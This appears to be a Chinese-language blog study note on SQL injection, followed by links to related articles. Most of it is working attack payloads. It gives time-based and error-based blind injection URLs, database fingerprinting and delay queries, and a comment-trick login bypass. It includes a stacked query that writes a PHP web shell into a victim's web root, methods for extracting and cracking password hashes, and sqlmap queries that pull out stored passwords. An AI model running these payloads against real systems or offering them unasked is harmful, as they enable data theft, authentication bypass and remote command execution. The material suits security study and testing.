初探SQL注入
1.1注入语句(通过时间注入函数)
数据库名称
localhost:8080/ScriptTest/userServlet?username='union SELECT IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl;-- password=W
判断该数据库的系统用户名称
localhost:8080/ScriptTest/userServlet?username=' union SELECT IF(SUBSTRING(current,3,1)=CHAR(101),BENCHMARK(10000000,ENCODE('MSG','by 5 seconds')),null),count(*) FROM (SELECT SYSTEM_USER() as current) as tbl;-- password=W
判断该数据库的当前用户
localhost:8080/ScriptTest/userServlet?username=' union SELECT IF(SUBSTRING(current,3,1)=CHAR(101),BENCHMARK(10000000,ENCODE('MSG','by 5 seconds')),null),count(*) FROM (SELECT CURRENT_USER() as current) as tbl;-- password=W
判断该数据库最后一次进行插入操作的事务ID
localhost:8080/ScriptTest/userServlet?username=' union SELECT IF(SUBSTRING(current,3,1)=CHAR(101),BENCHMARK(10000000,ENCODE('MSG','by 5 seconds')),null),count(*) FROM (SELECT last_insert_id() as current) as tbl;-- password=W
判断某数据库下的表名字
localhost:8080/ScriptTest/userServlet?username=' union SELECT IF(SUBSTRING(current,1,1)=CHAR(97),BENCHMARK(10000000,ENCODE('MSG','by 5 seconds')),null),count(*) FROM (SELECT TABLE_NAME as current FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='MYTEST' order by create_time limit 0,1) as tbl;-- password=W
获取各类数据库标示信息
非盲跟踪:
PostgreSQL: SELECT version()
Oracle PL/SQL : SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
Mysql:SELECT version() SELECT @@version
Microsoft SQL server:SELECT @@version
@@servername:安装SQL server的服务名称
@@language:当前所使用的语言名称
@@spid:当前用户的进程ID
各数据库使用的延迟时间方法
PostgreSQL: select pg_sleep –
Oracle PL/SQL :
BEGIN DBMS_LOCK.SLEEP(5); END;
或者 or 1=dbms_pipe.reveive_message(‘RDS’,10)
Mysql:sleep(n) BENCHMARK(100000,ENCODE(‘HELLO’,’MON’));
Microsoft SQL server:xxx.jsp?uid=22;waitfor delay ‘0:0:5’; --
针对UNION不同数据库的报错信息
基于错误盲注
www.victim/xxx/xxx/aaa.asp?id=12/is_srvrolemember(‘sysadmin’)
函数返回
1 表示用户属于该组
0 用户不属于该组
NULL 该组不存在
所以12/x当x为1则返回正常界面,0则报错,根据于此判断
也可以根据CASE语句进行判断
CASE WHEN 条件 THEN ACTION1 ELSE ACTION2;
MySQL下可利用CASE 或者 IF
SELECT (CASE WHEN (database()='mytest') then 1 else 0 end);
也可利用IF函数
select if(database()='mytes1',1,0);
终止式sql注入(将一部分原有的sql语句注释掉 替换成自己的sql语句,以下是各个数据库注释)
SQL Sever Oracle PostgreSQL -- , /* */
MySQL -- , # , /* */
用法:
1. 在被过滤输入空格的的情况下,可使用/**/代理空格
2. 在判定注入点时可以使用注释,若返回之前相同页面则可能存在注入
3. 冒充已知用户SELECT * FROM ADMINISTRATORS WHERE USERNAME=’admin’/*’ AND PASSWORD=’*/ ’‘; 这样只针对后台业务逻辑中存在只查看sql返回结果的ID,通过ID查询信息进入系统。如果后台验证输入与返回值得一致性的话则无法完成。
4. 利用字符串连接方式识别数据库类型
数据库 |
连接 |
SQL server |
‘a’+’b’=’ab’ |
MySQL |
‘a’ ‘b’=’ab’ |
Oracle 和 postgreSQL |
‘a’||‘b’=’ab’ |
使用方法则是将注入点的参数拆分
多语句执行
1. Sqlserver6.0后加入了在一个连接句柄上执行多条sql语句的功能。
意味着可以在正常查询语句的后面加入一条update,insert,等语句实现更改权限,添加删除用户等操作。这样的功能一般都是关闭的。
2. 在mysql与web服务器运行在同一服务器上且运行mysql的用户有足够权限,那么上述命令会在web目录下创建一个允许执行任何命令的文件:
http://www.victim.com/search.php?s=test’;SELECT ‘<?php echo shell_exec($_GET["cmd"]);?>' input outfile '/var/www/victim.com/shell.php';--
堆叠查询
有一定局限性,PHP访问postgreSQL时,PHP允许堆叠查询,但访问MYSQL,PHP则不允许。
窃取hash口令破解工具
SQLserve:NGSSQLCrack或者in&Abel
05版本后密码查询在sys.sql_logins视图中。
05之前是在master数据库下sysxlogins表中 由pwdencrypt()函数生成
MySQL:John the Ripper打上John BigPatch补丁
postgreSQL: 若username为bar passwod为foo,也允许明文存储密码。
HASH='md5' || MD5('foobar')=md53858f62230ac3c915f300c664312c63f
Oracle:sys.use$表的password列存储数据库账户的哈希口令。dba_users试图指向该表,从11开始哈希口令不再出现dba_users谁中。并存在spare4的列下,默认下,sys.user$存在旧的和新的hash口令针对SHA1 ORACLE最快的是GSAuditor针对DES最快的是Laszlo Thth。以下是常用获取明文命令。
非主流通道
SQL注入获取系统敏感文件
绕过过滤器
1. 对于通过关键字过滤的过滤器可通过变换大小写来实现
2. select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins whee name ='sa'
sqlmap注入脚本分析
基于时间的盲注
sqlMAP根据时间进行盲注主要对mysql数据库使用如两条下语句
判定数据库名称
SELECT * FROM userinfo WHERE username='illidan' RLIKE (SELECT 2510=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64),SLEEP(5),2510)) AND 'vVVl'='vVVl' AND password='198226198484';
判定数据库密码
SELECT * FROM userinfo WHERE username='illidan' RLIKE (SELECT 2136=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM mytest.userinfo ORDER BY password LIMIT 1,1),1,1))>8),SLEEP(5),2136)) AND 'NdHl'='NdHl' AND password='198226198484';
Sql语句说明
从RLIKE以后的中心开始看起
1. CAST(xxx as 类型)将目标值做成一个数据类型
2. IFNULL(exper1,exper2)函数中如果exper1不为NULL则返回exper1
3. MIDIE截取字符串与subsring类似
4. ORD读出字符的ASCELL码值
5. IF(xx>64,SLEEP(5),2510))在判定其值如果大于64则睡眠5秒,第三个参数是表达式为假的返回的结果。
6. Sqlmap再根据启发式判断其目标值
RLIKE正则表达式匹配可用于代替union连接自定义select语句,没有列数相同的限制。
0x20 空格
union的话需要判定原来sql语句查询出的列数,因为union级联两个查询需要两个查询的列数相同,在union盲注中会经常用到
CAST()和CONVERT() 函数可获取一个类型值,并产生另一个类型值
MID()截断字符串
ORD(获取第一个字符的ASCLL码)
初探SQL注入的更多相关文章
- 初探SQL注入需要知道的5个问题
SQL注入产生原理 可控变量(注入点,就是传参) 带入数据库查询 变量未存在过滤或过滤不严谨 例子: 获取admin表的pass里面的数据 select * from users where id=1 ...
- sql 注入初探
Sql注入:就是将恶意的sql语句插入到用户输入的参数当中并带入数据库中查询并在浏览器返回不该显示的信息 寻找sql注入点: 1.要有参数值的传递(url当中GET型的.注册用户名的页面.登录框.留言 ...
- 『SQL注入』 User-Agent 手工注入的探测与利用分析
原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
随机推荐
- [Android Pro] 完美Android Cursor使用例子(Android数据库操作)
reference to : http://www.ablanxue.com/prone_10575_1.html 完美 Android Cursor使用例子(Android数据库操作),Androi ...
- shell 脚本随机抽取班级学生
#/bin/bash jw=(name1,name2,name3......name39) ..} do a=$(date +%N) b=$() ]" "${jw[$b]} don ...
- 前端自学vs跟大神系统学?你看着办
前端自学vs跟大神系统学?你看着办 一名广告专业学生,在大三的时候对于广告行业的前景不是很看好,转而自学web前端,刚开始接触的前端语言是html(html应该不算编程语言),上手很容易,在w3csh ...
- PHP预定义接口之 ArrayAccess
最近这段时间回家过年了,博客也没有更新,感觉少学习了好多东西,也错失了好多的学习机会,就像大家在春节抢红包时常说的一句话:一不留神错过了好几亿.废话少说,这篇博客给大家说说关于PHP预定义接口中常用到 ...
- phpcms v9 中的数据库操作函数
1.查询 $this->select($where = '', $data = '*', $limit = '', $order = '', $group = '', $key='') 返回 ...
- PHP 二维数组根据某个字段排序
二维数组根据某个字段排序有两种办法,一种是通过sort自己写代码,一种是直接用array_multisort排序函数 一. 手写arraysort PHP的一维数组排序函数: sort 对数组的值按 ...
- Youth -Samuel Ullman
Samuel Ullman(塞缪尔.厄尔曼) Youth is not a time of life,it is a state of mind;青春不是年华,而是心境: it is not a ma ...
- mac版Camtasia 2.10破解
Camtasia是非常好用的一款录屏.视频编辑.制作的软件.但是这么一款优秀的软件只有30天的试用期,试用期过后便不能使用. 目前网上的破解办法几乎都属于同一种办法: http://www.orsoo ...
- getComputedStyle 方法
一:getComputedStyle getComputedStyle是一个可以获取当前元素所有最终使用的CSS属性值.返回的是一个CSS样式声明对象([object CSSStyleDeclarat ...
- LINUX 常用命令 ps 详解
ps常用命令 ps -u ceshi 查看特定用户(ceshi)进程的情况 ps aux | grep nginx 查找nginx的进程 pa -ef | grep nginx 查找nginx的进程 ...